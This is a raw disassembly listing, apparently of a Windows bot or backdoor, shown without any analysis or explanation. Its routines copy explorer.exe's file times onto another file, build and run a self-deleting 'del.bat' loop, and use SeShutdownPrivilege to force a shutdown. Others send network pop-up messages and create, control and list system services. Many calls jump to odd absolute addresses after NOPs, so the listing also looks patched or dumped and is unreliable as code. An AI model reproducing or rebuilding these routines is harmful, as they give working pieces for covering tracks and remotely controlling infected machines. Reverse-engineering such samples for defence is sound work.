sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 2810000h
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 280059Dh
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEE4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB074, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 271099Eh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		call	near ptr 2670909h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D158
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0589h
		push	eax
		nop
		call	near ptr 26802A6h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26A0480h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 26A0395h
		nop

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2680000h

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E0570h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAF24
		push	edi
		push	eax
		call	dword_4CAF34
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_4389B4

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_43898C
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43895C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E0570h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26C037Bh
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A0457h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A0DE3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389D8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389D4[esi]
		push	offset unk_438AE8

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB020
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438ABC
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB020
		push	off_4389D0[eax*4]
		push	offset unk_438A98
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF98
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2690DF2h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2690DF2h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEEC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE88
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEF0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2690DF2h
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE9C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE9C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA960
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA960
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA960
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF64
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2690DF2h
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D0[eax*4]
		push	offset unk_43907C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D4[eax*4]
		push	offset dword_439060
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAC1C
		lea	eax, [eax+eax*2]
		push	off_4389D0[eax*4]
		push	offset unk_43903C
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DAE1C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DAE1C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DABBC, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DABBC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DABBC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE98
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
